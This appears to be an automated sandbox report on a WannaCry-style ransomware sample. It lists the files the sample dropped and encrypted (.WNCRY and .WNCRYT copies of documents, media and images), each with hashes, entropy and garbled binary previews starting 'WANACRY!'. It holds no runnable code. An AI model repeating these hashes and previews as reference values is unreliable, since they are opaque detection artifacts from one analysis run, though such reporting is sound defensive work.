                                      Preview:WANACRY!....\(..i..8ML..E...&.F...tBO...W.O..V.....XM...c#d..o.[...%_t..C$n1.}.U;F.1......D.2<.....9...d..U^K?'.atD...[...!Wi;...?&8.q..f..p.1N......U..ss.w>..P.;.6...4....}...bB......*9.`._N.wZ....M...n.E..+>.#......:...J..2.\.g....g.NL.R.gU...vv........N.<............b.S..P..b..S..B.....r........-.ew7.DJ.$..W_4....,..j..).d..C.......X.Z......_...4F.$r[B.w.zi...R...b.*8d.........MCg....bI|......m..@...@Y..N.gK.aP...U2..98E...5.L|......; 3[KA....b.....7#T.O..B..$..W..|......8..[iR:..*.d...]k....0.2.$<.G\|..b.'..p.."....B..K.iT.....?}.,....M>2.c...B......cL.T..V..Z.|.G%.11P.J..q&..j.Dn..-...^.B..,....eQ..I.<.JX....V.r..1.^.z....GW....`.N.....>.I8M...e.J.v\f..G..zr./.....B...n..3..).x4..E..e.b.C....m..xvTUG~A...i..@`........>.~I..NY......3....pw.Z.&.n.R....m.).Q.....G..R..."...sq.x.....|DGYy.....6K/....B.@.Vk.....B...F......,dt.....#M.......a..4...(..g.s..'....".sgo..s.i;/..7.....t..u..Ge..[.p(.`d.0&H.W...3h@.A.wd..*.wE.!.....<.O..f...

                                      C:\Users\user\Desktop\WKXEWIOTXI\UOOJJOZIRH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.852019548669028
                                      Encrypted:false
                                      SSDEEP:24:bkavWRXPBVnzcVvrWttHaOofMRhRnqYHhZBa7Ezys59n:bkavWRXJVzcFocfMRhRqY4Q59n
                                      MD5:EBA89012E3247E0A18BD920224D33B12
                                      SHA1:53D11F5596694E8FC1308E21F7ECC519E302D4DE
                                      SHA-256:736AC5578828F2584DEE97DB4C09D7BFE18BF43190B3A7EF51C8F6A90F370714
                                      SHA-512:0B3C514FDB802F082733B1E3601DDB22C31D1113277A8BF5501E8AEAEB78360AB055A030B862F9D6D676607A3FA3A7A67D1476CFBF49F7197DF3A395A361CA91
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....\(..i..8ML..E...&.F...tBO...W.O..V.....XM...c#d..o.[...%_t..C$n1.}.U;F.1......D.2<.....9...d..U^K?'.atD...[...!Wi;...?&8.q..f..p.1N......U..ss.w>..P.;.6...4....}...bB......*9.`._N.wZ....M...n.E..+>.#......:...J..2.\.g....g.NL.R.gU...vv........N.<............b.S..P..b..S..B.....r........-.ew7.DJ.$..W_4....,..j..).d..C.......X.Z......_...4F.$r[B.w.zi...R...b.*8d.........MCg....bI|......m..@...@Y..N.gK.aP...U2..98E...5.L|......; 3[KA....b.....7#T.O..B..$..W..|......8..[iR:..*.d...]k....0.2.$<.G\|..b.'..p.."....B..K.iT.....?}.,....M>2.c...B......cL.T..V..Z.|.G%.11P.J..q&..j.Dn..-...^.B..,....eQ..I.<.JX....V.r..1.^.z....GW....`.N.....>.I8M...e.J.v\f..G..zr./.....B...n..3..).x4..E..e.b.C....m..xvTUG~A...i..@`........>.~I..NY......3....pw.Z.&.n.R....m.).Q.....G..R..."...sq.x.....|DGYy.....6K/....B.@.Vk.....B...F......,dt.....#M.......a..4...(..g.s..'....".sgo..s.i;/..7.....t..u..Ge..[.p(.`d.0&H.W...3h@.A.wd..*.wE.!.....<.O..f...

                                      C:\Users\user\Desktop\WKXEWIOTXI\VAMYDFPUND.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.813381036847213
                                      Encrypted:false
                                      SSDEEP:24:L3bLVU4R8IWnWB8jqyp/mmq72AWt9+zwxI6G4ZP3/ry:XLO4aIWWB8VBiWv+gIh4ZPvm
                                      MD5:78888722B28F48A7E1AC0F610116DD92
                                      SHA1:78CA0E213A532791A0C83A3BF7ED6BFB2325633C
                                      SHA-256:3C44CF08B7C6A851D48E8C8C0888BA9ED0D2997E659B542808BC43B96D2483FB
                                      SHA-512:690E3D7D9F4A8120BCFBC1986387DAF6DD5ACD2CB1C1939C7C538070A264DEC895A487B968411F276A8D6A1310853F5160B70FEDC605E679663F53C4D6E8688A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:p..V.Kw5..6..F*.{=..M.....rRuR...6.)O....O.W..B..%....pL..h..&E.....l....~.."..fPd...g...^.v.......Z.../*1.Y|s...6.IL.Z(.rC{.D.di..6.".3Bm.x{......3........9.~..3...R...eR.k..~.S......m7..m.*.....3+...?.3.D.;..Tx|P?.k.L.T.W.@.....2......u..oh..]."+k.....>....B....^..~...3.":..8.1].....0.......V8'.C.p.....,m........F8...E.+.#....../Y...,z..t.On.v..,U.Y...M.8..p...h@....zA#...!,....[...G..j}....Z....za.~..+...".+.D..r.A.6.+.../O.&..,...Aq......9..|.d.$.g. z.^.P..U.....9..k.a) ....OX..y...E.......a......3....9O.....jAO..-....:..:.rj.......m.mx>..ch.5*......$.....to.*...!.c.Mu.24.....`W.J....a>.....k...p............m.I...S.S..s..../....E..9....Z[#..3.4J."..p.:..\S5...v..%n..}.....{...aW.*.SG....Tg.w..ov....v...k.]zzq...z..}cz.....%.bNy.?b.....K...L......<K'...../O.....W%.4./?..u.../L7.$o...aY.g.~ko..K.I..U,ib......i.njCI.+.q.(.1.?k.........%/6.i.............u.\......{..qL.5.Z.H..l..p......\....._.W.B...v;'3..\.e..sy.s...........M.m.8..W.....$...

                                      C:\Users\user\Desktop\WKXEWIOTXI\VAMYDFPUND.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840356131634621
                                      Encrypted:false
                                      SSDEEP:24:bk8Sou33a55B/5DGJDx9U65VbuPKSpAUkVob+tsTG5wJSWwDH4aovZGwvK6vvtRn:bkNYB/JA9U65V6PrC7obFy5wJumGv6vP
                                      MD5:F37E761A346538D57B499B4B5721C217
                                      SHA1:921979AC1DD83CC55EBC684AE8C61973EFB615C1
                                      SHA-256:1598D0D1BEAD0CC73C75EF2487DBBCDE6B03E2FE5E02DF4FDAF75A6948A3AF86
                                      SHA-512:07917EA6215B379CD2C8ECB38771466AFC15C8D8FFE34FFD885DF71C5C8605224796D58BB109AD4560805C76E1D5981C83F34AA1B2F021E8E80AEBBB9EB3E7B6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....I.9.}.....sjY......M..7$d.A{...e.&..*{..j....p..;.-..w...*...al..O.K4.U.Rp<..E..^L..4.%.K.'Qv.I.0.\.6.-......b:.....l(.uoD..>|...a2(...x..A.`.e|...Y...=..F`m:...a.b..n.\..G.@4*.X.5'-....s.~BB. ....I...G.R....*..v.b...5K.FmJhTt...u>...#.3.?J.Q.p.1............p.......a..b..B...b.........v.,.b.#..J.....y............a.;l0[.r...a6....l.G,....7..(..:...f...O........1...&.y.7..!.]I.._....g..G..rj...k.>.....T...%%#....Q..l.,hx..Ho.0.U.D..W..9._....{B.Gq.)\.R.....&T..t.r.@.Qj.I4.{>....\......!.&l.9..^...|j.......Cr.g.K...VT.4..6..Z.#5.j&.....ln.ur..Y.&v(.........Li..@.}..(.4.w..K.j....._C..eFV........xK.S.v...b......:.-w..>`.<c..|.K..+.].m.(i....F..t.W$V.>..d)....dv..!..X...Io:Z/|7.Y.X....8....)<..su^.sX..E9...n\.7..ic.r..q.q...{j5i6.7'+m...XK.oa.. -6pvC .2.m.3.@....Vz..es..m....0l.j.b@.\....R......^......z}.......60...B.....p>....dA......ue.....P.>..B0.Q..T..Y....t)9...8..$..Z-p.6..'.....9.;.Hg...0.....'....O%...i.Gt.zU.....rR..1...r..$

                                      C:\Users\user\Desktop\WKXEWIOTXI\VAMYDFPUND.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840356131634621
                                      Encrypted:false
                                      SSDEEP:24:bk8Sou33a55B/5DGJDx9U65VbuPKSpAUkVob+tsTG5wJSWwDH4aovZGwvK6vvtRn:bkNYB/JA9U65V6PrC7obFy5wJumGv6vP
                                      MD5:F37E761A346538D57B499B4B5721C217
                                      SHA1:921979AC1DD83CC55EBC684AE8C61973EFB615C1
                                      SHA-256:1598D0D1BEAD0CC73C75EF2487DBBCDE6B03E2FE5E02DF4FDAF75A6948A3AF86
                                      SHA-512:07917EA6215B379CD2C8ECB38771466AFC15C8D8FFE34FFD885DF71C5C8605224796D58BB109AD4560805C76E1D5981C83F34AA1B2F021E8E80AEBBB9EB3E7B6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....I.9.}.....sjY......M..7$d.A{...e.&..*{..j....p..;.-..w...*...al..O.K4.U.Rp<..E..^L..4.%.K.'Qv.I.0.\.6.-......b:.....l(.uoD..>|...a2(...x..A.`.e|...Y...=..F`m:...a.b..n.\..G.@4*.X.5'-....s.~BB. ....I...G.R....*..v.b...5K.FmJhTt...u>...#.3.?J.Q.p.1............p.......a..b..B...b.........v.,.b.#..J.....y............a.;l0[.r...a6....l.G,....7..(..:...f...O........1...&.y.7..!.]I.._....g..G..rj...k.>.....T...%%#....Q..l.,hx..Ho.0.U.D..W..9._....{B.Gq.)\.R.....&T..t.r.@.Qj.I4.{>....\......!.&l.9..^...|j.......Cr.g.K...VT.4..6..Z.#5.j&.....ln.ur..Y.&v(.........Li..@.}..(.4.w..K.j....._C..eFV........xK.S.v...b......:.-w..>`.<c..|.K..+.].m.(i....F..t.W$V.>..d)....dv..!..X...Io:Z/|7.Y.X....8....)<..su^.sX..E9...n\.7..ic.r..q.q...{j5i6.7'+m...XK.oa.. -6pvC .2.m.3.@....Vz..es..m....0l.j.b@.\....R......^......z}.......60...B.....p>....dA......ue.....P.>..B0.Q..T..Y....t)9...8..$..Z-p.6..'.....9.;.Hg...0.....'....O%...i.Gt.zU.....rR..1...r..$

                                      C:\Users\user\Desktop\WKXEWIOTXI\WKXEWIOTXI.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.819043193256361
                                      Encrypted:false
                                      SSDEEP:24:JMFbxHvdRBiv5eVIIa2sMeV1BThWmfVPSir2fN:qVHVMYU2sMytVPSH
                                      MD5:7768E1FC53A595A0206A25DCE229D9C8
                                      SHA1:50ED58472648D7F03E705B7288819EFB21E255F2
                                      SHA-256:A8905A1BEA3C90E8EE9F997104226B7A16D27456E926948A360A3CA15BCEF8EC
                                      SHA-512:242399211B3730E65D27DE5478FEE9F55C05E6B6D2F2F41D8597D46845C35FC8816B354EA1D11EAA10529C775C5E0917E243A080F25E4FDA97EE6115ABB8F5DA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.O...g....N..b.q.;T.`.......%lX.v.......0...l./F..`...4.g.V$..0[f..E..4...~2..<...|.W.jjz@@..2U......u......c....z..~...'M..E.@3~...8.q7.3..$.|..:..d.c.q.>.W.)..-(.....3..<..8o..\8Q...*.310.]O..n...Y..^.9....0.....G5Y..C4>C......"i..{.6....<.....E.}.%....Z.>=m.h..#+.._l.V.oS.x7.7?u.N..5)F.....=..(n.....}....n......!..p.p..K..U.......L...5...\...X..Y.....cFfx..e...G...:.."@..Jb...|}..15.r..gb.....5.Z........bT.. f..%_^.7N..>R.'q..0.....`......e..}..5...R3s...a...LT..X.V.<.+.\.... ..x...<N......a.;e.<.X'o....m.{E..`y..G..J ..E.H.fr.q.~.`.....3.\e...i....iz..I=.A.6..<.9;^j...Z.qJ..{.......+.........B.aj.I..#...v...\[..a..0....@hkQ.q..*..X.|._7......w8... ...tX..v.Ex*.UsGH../...x^,.c....&.tIo.M........aa.....p?.p..Y^%5.:xt.p.....D.....7g`..5.+.../...rUw.D"....../F..oZ.v$...X.vMe.D.dW6........w......q2.......h.r..Z.......L.....~5I.!....[@...f.......7....0..P...RzF....T.(...k....8b.w..X^..t<JF.,...&.M...e..~k.O.....F...=.. ;cm3b..4s.D9.<

                                      C:\Users\user\Desktop\WKXEWIOTXI\WKXEWIOTXI.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841657650253275
                                      Encrypted:false
                                      SSDEEP:24:bkYdmGcHnZ8FuRy0ez215HG0sPFkN8qN5TamPh4vbhZ9V8xo6OmMIeH5a1:bkYdmGsXRy0i2jG0fN88lamPmhV8apHa
                                      MD5:FA8EBF1BFB7CF7175BBBACC68D98FAD9
                                      SHA1:8B9D39485E9974D34480B0B76F362E499448A425
                                      SHA-256:A77C9CA37BE179AD14AEB8891E265FF17B917434AE9D2A2F781D405DCA9E0789
                                      SHA-512:82439E309744A4A1357AA7480E4EAF321024AF2E251AC6634FBAF1607E33A8B7DA08BCFC4FE6CAD50444456666BCB7A4D8717014C1BFE526477AAAFBEE7C81F9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......lR=.....Z.....;...............p{-:.N.X.FG.e.k......?......O{..O.Iw.\.x..uA0\.#^.A.R(...}./M)..;.}..d..u..*R..f{}.2o.r@...OZ.S.Pw...2v.a.....*Q.`....i.h..c....Y.@\.v{...i.x.}.b.i2.~...k6``yU....WJI.l43....c1.......-C7.!V:..VT...<r........$.cZy;.z.............q.@%6.9.*.L..u.I....8q6.....1.s..=Q{.|.."..9..U..5.y.V...;w..O..TW.j.]M....W503...5....E..8.X,.6..h....k.\...!H..........:..&....I.{.. +&U.rR..=...9.t..xF.(.<).5Q2,.d3.d...S.}.,..v.q..Dz.,.e.Z ...w>...n...Co.&....:....A.d.....k..<.s.+.._<V......-O?c`.yy.m<!.n.]7I..V...gf....D.G..7..`..F...).be......1...'r..>.....O..o./Zk..[.......S.c...s.(.../\.C...:*.4....Z^qC...7i./.MG.A...L46.......Z...e... .....8.......Q..{...Q.V,.<.\.....wq-.C.f.X........\.=.......6.t-..).Vg....D&....CTD..3Z....yFu8.....U$.xq:...?...\.$..,....E]....S..p.m....?w.p.M..dkIoa..c........O..s.2}..j..Yn)..HDC....O.H..h.....1......5.Y.dTb.6...]V.jT.b(oR|h.5HZ..N8...2..]>.9.<|oR.6mj.6..^.e..5)..._S.q.....F...s..R..a.

                                      C:\Users\user\Desktop\WKXEWIOTXI\WKXEWIOTXI.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841657650253275
                                      Encrypted:false
                                      SSDEEP:24:bkYdmGcHnZ8FuRy0ez215HG0sPFkN8qN5TamPh4vbhZ9V8xo6OmMIeH5a1:bkYdmGsXRy0i2jG0fN88lamPmhV8apHa
                                      MD5:FA8EBF1BFB7CF7175BBBACC68D98FAD9
                                      SHA1:8B9D39485E9974D34480B0B76F362E499448A425
                                      SHA-256:A77C9CA37BE179AD14AEB8891E265FF17B917434AE9D2A2F781D405DCA9E0789
                                      SHA-512:82439E309744A4A1357AA7480E4EAF321024AF2E251AC6634FBAF1607E33A8B7DA08BCFC4FE6CAD50444456666BCB7A4D8717014C1BFE526477AAAFBEE7C81F9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......lR=.....Z.....;...............p{-:.N.X.FG.e.k......?......O{..O.Iw.\.x..uA0\.#^.A.R(...}./M)..;.}..d..u..*R..f{}.2o.r@...OZ.S.Pw...2v.a.....*Q.`....i.h..c....Y.@\.v{...i.x.}.b.i2.~...k6``yU....WJI.l43....c1.......-C7.!V:..VT...<r........$.cZy;.z.............q.@%6.9.*.L..u.I....8q6.....1.s..=Q{.|.."..9..U..5.y.V...;w..O..TW.j.]M....W503...5....E..8.X,.6..h....k.\...!H..........:..&....I.{.. +&U.rR..=...9.t..xF.(.<).5Q2,.d3.d...S.}.,..v.q..Dz.,.e.Z ...w>...n...Co.&....:....A.d.....k..<.s.+.._<V......-O?c`.yy.m<!.n.]7I..V...gf....D.G..7..`..F...).be......1...'r..>.....O..o./Zk..[.......S.c...s.(.../\.C...:*.4....Z^qC...7i./.MG.A...L46.......Z...e... .....8.......Q..{...Q.V,.<.\.....wq-.C.f.X........\.=.......6.t-..).Vg....D&....CTD..3Z....yFu8.....U$.xq:...?...\.$..,....E]....S..p.m....?w.p.M..dkIoa..c........O..s.2}..j..Yn)..HDC....O.H..h.....1......5.Y.dTb.6...]V.jT.b(oR|h.5HZ..N8...2..]>.9.<|oR.6mj.6..^.e..5)..._S.q.....F...s..R..a.

                                      C:\Users\user\Desktop\WKXEWIOTXI\ZQIXMVQGAH.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8066438137095835
                                      Encrypted:false
                                      SSDEEP:24:zgObQMxNrP1Rv/Bq+cMfhMVp3W9QN1DGyh44TjJTOv:zg0QqZRH/qDDGyhcv
                                      MD5:54F9788BB18C232A156C0C738F48741C
                                      SHA1:72D6DC93B7B271A98E14605C70AE5C7BDF5E1839
                                      SHA-256:EE7C0388A808BB828B35DDB5733579C980707D32E0659B1B89D98B690275D969
                                      SHA-512:5A10D08592627102A7AE1F089A240BF066E762BCB21AD3F7F8E5EB6BDD73DCF3A2756BB10963C641666363BBD83CA1465C77ED10C765AF4D4EDD6328EAA45C0E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:.e......SvQe. .U....].:.R.AG.`......_+#...4..q..@+....l..K.....Z......a..a...&..6..e.K...1...1.F...R\|..oIC.:..~.h.<}..`...F..6..>4]..d..Q$..T)iT`..H...../.@7.....P../X......oA.1$bvm...8/.q._8..{..-yk,...b.3...u..O.(.z..g.znB.....p.wY.../..e.\...|\.Vv...F 5..^..'.y..|......r.'..\L.5.....\.Y....l\%(.{....,....=..?..Z.5..]...?.0.t._<a..<...aK.c...|...t...........\.....N....()[.8.P........9=f.,|..'..i.............D..sY...l.....}..~UB....d..2@.L.b}.....c...w_.'X_..0....B....Rz....de(&.....fOgz.P...#...Aov..k\.....p.m....`...lE.... 4L).5,.s]..U.+..W)..m..+....V..C....p.`-...>..$.1Mz..3.4.....|..+..`v.\..Q.B......"..../.r.e4.....U....S....E.g.F...v...1.D.|.F..Z~>2..u......l..c.Z.>....j.5.....|H.q".....oU.1.m.&.G......~N....c..Xt_'?.,.4.4h..4.Z.vh..%8....N.....sU......./X.......F.~....I.."1.rAD.d.y.W..L...x..:N:W.fA.V.)2.BSBq..6e...+Q<.[...W..T.v0.i..".5..m:....[K.!m!ex.WX........)v3-.T...B...x.9.h..&...I.Ed0l...e#|:........YA{.4.e.:.Lh~w.T..D

                                      C:\Users\user\Desktop\WKXEWIOTXI\ZQIXMVQGAH.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.856447266865037
                                      Encrypted:false
                                      SSDEEP:24:bkQPTyUr3dEvt8VOyf8ugGtMPGB+TaiUr7lg0O3qe1RS2BghNetxsWstLdtVwk:bkQbLEvt8t81Ju+WieulF1R3KhEeLek
                                      MD5:AA365BF46E49B6FB5B58A6E111059771
                                      SHA1:59A4CFA462AA26A872A24787C08AA584A1F1B9D7
                                      SHA-256:8F44722933C2EB299DF7127BE4623CB1E4993783A2049BBD786BF92535DA0CCB
                                      SHA-512:0220CDF4F7AA0788C90D3BEE8C0F59EA310A98182ED827CA48DE57A43F8FF473726907F8B630216A4773DFFA98962A1FFC5D62DB44E860C6A87CAC6E5DCF03D0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....LTOP...=.Pjk....o|I......P>tT]i/8..../..i.R..u..(..+..Vk.%.y..1*i$$..:lJ.O.81 .......]. ......P....t..?@.......x.q,...:..s.io..*...P.....J...C{.....wb.m%3....to+Sd..6.4.|X?..K..sRP......*......~....s...^}...!z..>....*...L..JaL5..r...o..f....kf.Et.................o0.x..mh..U1<%....y.N#....2.........Np5...:..........4(.J....t.'.n..#Bu.........'.RVe......8I..j5[4T~..,...m.hU......h..wV..._:^#9J.X....?...#]f..J..j...lR.(......*...i.).....L..`.......9cd...fv..}`..)8K./:WF..@%....&e..sAQ...q.o.=......Q....:...v.-'...3A..Hj'.O.`ZAr..M.&.[..j....b...?.0.g....\Q..?..y...&.2.V.o.3.../lF....e.EC8*...H..c.7.&2...S.j.....Q..v....Gr...I!Rh.v9....w(.w.\...(0[....nbT.....5.....~..\.?AVs.!.dc.O.....@.r......2i.....*.........r5......x...A*.E.m....;.$.....p....*..3I....<......&H.sk..........&8.e.^u..........b7 ....b)..Y..#...)..g.\.LY..@. ....'.J..F......"P.%w....8,.a.....1.....y>...Z..O...D.e.h..o.=......{.h8....QG.....y..3.E."...JU...y....m..}

                                      C:\Users\user\Desktop\WKXEWIOTXI\ZQIXMVQGAH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.856447266865037
                                      Encrypted:false
                                      SSDEEP:24:bkQPTyUr3dEvt8VOyf8ugGtMPGB+TaiUr7lg0O3qe1RS2BghNetxsWstLdtVwk:bkQbLEvt8t81Ju+WieulF1R3KhEeLek
                                      MD5:AA365BF46E49B6FB5B58A6E111059771
                                      SHA1:59A4CFA462AA26A872A24787C08AA584A1F1B9D7
                                      SHA-256:8F44722933C2EB299DF7127BE4623CB1E4993783A2049BBD786BF92535DA0CCB
                                      SHA-512:0220CDF4F7AA0788C90D3BEE8C0F59EA310A98182ED827CA48DE57A43F8FF473726907F8B630216A4773DFFA98962A1FFC5D62DB44E860C6A87CAC6E5DCF03D0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....LTOP...=.Pjk....o|I......P>tT]i/8..../..i.R..u..(..+..Vk.%.y..1*i$$..:lJ.O.81 .......]. ......P....t..?@.......x.q,...:..s.io..*...P.....J...C{.....wb.m%3....to+Sd..6.4.|X?..K..sRP......*......~....s...^}...!z..>....*...L..JaL5..r...o..f....kf.Et.................o0.x..mh..U1<%....y.N#....2.........Np5...:..........4(.J....t.'.n..#Bu.........'.RVe......8I..j5[4T~..,...m.hU......h..wV..._:^#9J.X....?...#]f..J..j...lR.(......*...i.).....L..`.......9cd...fv..}`..)8K./:WF..@%....&e..sAQ...q.o.=......Q....:...v.-'...3A..Hj'.O.`ZAr..M.&.[..j....b...?.0.g....\Q..?..y...&.2.V.o.3.../lF....e.EC8*...H..c.7.&2...S.j.....Q..v....Gr...I!Rh.v9....w(.w.\...(0[....nbT.....5.....~..\.?AVs.!.dc.O.....@.r......2i.....*.........r5......x...A*.E.m....;.$.....p....*..3I....<......&H.sk..........&8.e.^u..........b7 ....b)..Y..#...)..g.\.LY..@. ....'.J..F......"P.%w....8,.a.....1.....y>...Z..O...D.e.h..o.=......{.h8....QG.....y..3.E."...JU...y....m..}

                                      C:\Users\user\Desktop\ZQIXMVQGAH.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.813460359486579
                                      Encrypted:false
                                      SSDEEP:24:OznI7AcWxIzdTx4kP0mpEOpysQXw7ji6xlbx+fMNJD:mI19a5LINx+UfD
                                      MD5:F765C37A152F406465BDAD307C471241
                                      SHA1:590F7CE2B55971D1E0B4C2B72D7E2CD9D3A5D3AD
                                      SHA-256:C61CBA73C3E83E912711A6FF65D205C3BCD1CEE72BC9C8CC6197E2D578D0065B
                                      SHA-512:E025172466422C6A67A74E681F229929CD679D67468A82FC491EFA3A1574F0E7E807FC8F73CD79965DB521A12407DEEAD594454847561A9A3A579062CA186408
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Tf...F.I...2.NnK;x..A|M._.{..1.x......?....Z.T.D...2}..#.Y...]T......w.Qh\^........z...I.GlA.A.:.?@...7.W...J.g!Q3...p.hze.....%A,....$....Dh.fLF..].._D..RK..k.AS.d.{v:...G+S0..,.@]r..C....._...\J$..s...B....c:.......L..CY.)u....r.....E......v[J.pWf5.(jy..F...\P...Wu6f.."Nh....&c..ew..(...<..}..3.T..v...)i[..u.......-}9...B.|.pm]/.@5.bH...@..}..-...#.,..1.....R..2.P<W..J-C.g.M..! Xzv............:....Y...............H`..V..G#1w..[...n. y.9Zy.b...\...4...... 9m.u.&.-..$.C.t.....S)Wfq.....8...{PL.n.~.@.q7VD.........t..../i........5..!..?......z..(:.q..9.l..p....hc......1H.G.&..C.3i.n?x.........)A..y.<.e...!.)'<....u.......~.W..Ct.j;.;. .Vf...vr..kx.....?9..x)o%.^n.2_R..'6B,..3.N........u...b..d,x.g.f3_...y.~....@.s.M......a.D.`M.m.m......,..gwH...V9.&..$5|....U>.sI...^5.L&]P..v..T:!?.S.K...|)...v..5...:.rq........).0.L..!.X.uH.8.o...tZi...[.*!...........m..k..TjM!..[.^.].,..0....;.....fOv..%.._..i..Wfb...R..M.p....0...%v_..!....|...H .[R.$Q

                                      C:\Users\user\Desktop\ZQIXMVQGAH.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845703376215351
                                      Encrypted:false
                                      SSDEEP:24:bkKFQOb95fxiSXgZJB20r86zZER5u/PqmXeKPG3mDdBTxVCutW+:bkKFjRMZJNYyEk/ymXegG2Jf4utt
                                      MD5:099105BA0617CF72EF1FE1D3C914807A
                                      SHA1:DBFCFE8228E6A84CBA0E9C27729EF9B7898B2476
                                      SHA-256:BD5759A6CFD8362E22AFBC0B57794C9E80D5084691F4272301359B6FE2A15250
                                      SHA-512:F763291DD15F8786A15F4BD2C5FCE24329CAA9F376E202F643CED126707D1E4B66A564558369E414F93C1B39648F8E49C830D54DCE02C66E5B3334372B29DCF2
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....NU..8..X....OD...#......'..~....#...D: c].......7.c....o.cf..h..k.QN.&.\.....[.4h.Lw.......a.......R..y...Y.=.Z..@...=.C..-E.E..Q...$s.+o2....=.t&....o6M.0.wP{._j.6j.h.M...c..x.pG../...|XUe.K.0.....m...........o....../....Id.....AW.y.C.))................#...s.,............Dv-.L.6.G....[...4.r.`..zjI^......_v.{$3.t.~.#.$.4..._.x..q..,cU.2......).i.....b...V.vH..i.d9h>..Q....<.....3DB9.`.Y]w.]o.DRf._R..&.I:E..P..x....nH.b&..~.(#'.fD"..c.#,>...T....=vl..a.k...".q.rF..g......z....@..g.(..{d[.....FDq..D.F..........C.2+v.:..X.6.$\..Q<V\...i...r.T.~#..l..S......s.w..:......{.0G.m.../.w~......m/cq......M*.....go!$...G................{z........M..iM..Ax.|.[!...._48.~UG*.qOJe....%f...J.....M."~..M"..Gz.D+.....N.......{...1B...(..+1..........1..K.&.n.3..j...{.T.~^l..aI"a@..&p.........7.1.r[.."w.....X|..O#..%..fg.l.{.k.Eb..w.][.4.,.."..."T/.g+.....}C"(D..Ov.c.r._..$.}yHJ.|..X.J....u..7..;5..&.oB..r...+.qe....-v...'...BN..o..L...a..

                                      C:\Users\user\Desktop\ZQIXMVQGAH.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845703376215351
                                      Encrypted:false
                                      SSDEEP:24:bkKFQOb95fxiSXgZJB20r86zZER5u/PqmXeKPG3mDdBTxVCutW+:bkKFjRMZJNYyEk/ymXegG2Jf4utt
                                      MD5:099105BA0617CF72EF1FE1D3C914807A
                                      SHA1:DBFCFE8228E6A84CBA0E9C27729EF9B7898B2476
                                      SHA-256:BD5759A6CFD8362E22AFBC0B57794C9E80D5084691F4272301359B6FE2A15250
                                      SHA-512:F763291DD15F8786A15F4BD2C5FCE24329CAA9F376E202F643CED126707D1E4B66A564558369E414F93C1B39648F8E49C830D54DCE02C66E5B3334372B29DCF2
                                      Malicious:false
                                      Reputation:unknown
